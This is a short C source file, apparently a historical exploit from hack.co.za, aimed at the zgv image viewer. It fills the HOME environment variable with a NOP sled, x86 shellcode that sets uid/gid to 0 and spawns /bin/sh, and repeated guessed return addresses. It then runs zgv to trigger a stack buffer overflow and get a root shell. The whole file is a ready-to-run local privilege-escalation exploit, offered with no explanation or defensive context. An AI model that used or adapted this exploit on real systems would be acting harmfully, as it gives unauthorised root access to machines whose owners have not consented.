/* ok i fixed it, -icesk */
#include <stdio.h>
#include <stdlib.h>
#include <errno.h>
#include <string.h>

#define BUF 1033
#define NOP 0x90

char shellcode[] =//shellcode by xdr, MAD props :>
        "\x31\xc0\x31\xdb\xb0\x17\xcd\x80\xb0\x2e\xcd\x80"
        "\xeb\x18\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c"
        "\x8b\x5e\x08\x8d\x4e\x08\x89\xc2\x04\x0b\xcd\x80\xe8\xe3"
        "\xff\xff\xff/bin/sh";

long get_sp() { __asm__("movl %esp,%eax"); }

char buffer[BUF];
long esp, offset = 0;

int 
main (int argc, char **argv)
{
  int cont;

  if (argc > 1)
    offset = atoi (argv[1]);

  esp = get_sp() + offset;
  printf("buff:[%d] sp:[%#x] offset:[%d] return:[%#x]\n",BUF,esp,offset,esp+offset);

  memset (buffer, 0x90, sizeof (buffer));
  memcpy (buffer + 800, shellcode, strlen (shellcode));

  for (cont = 1000; cont < BUF - 4; cont += 4)
    *(long *) &buffer[cont] = esp;
  setenv("HOME", buffer, 1);
  execl("/usr/bin/zgv", "zgv", 0);
}
/*                    www.hack.co.za                    */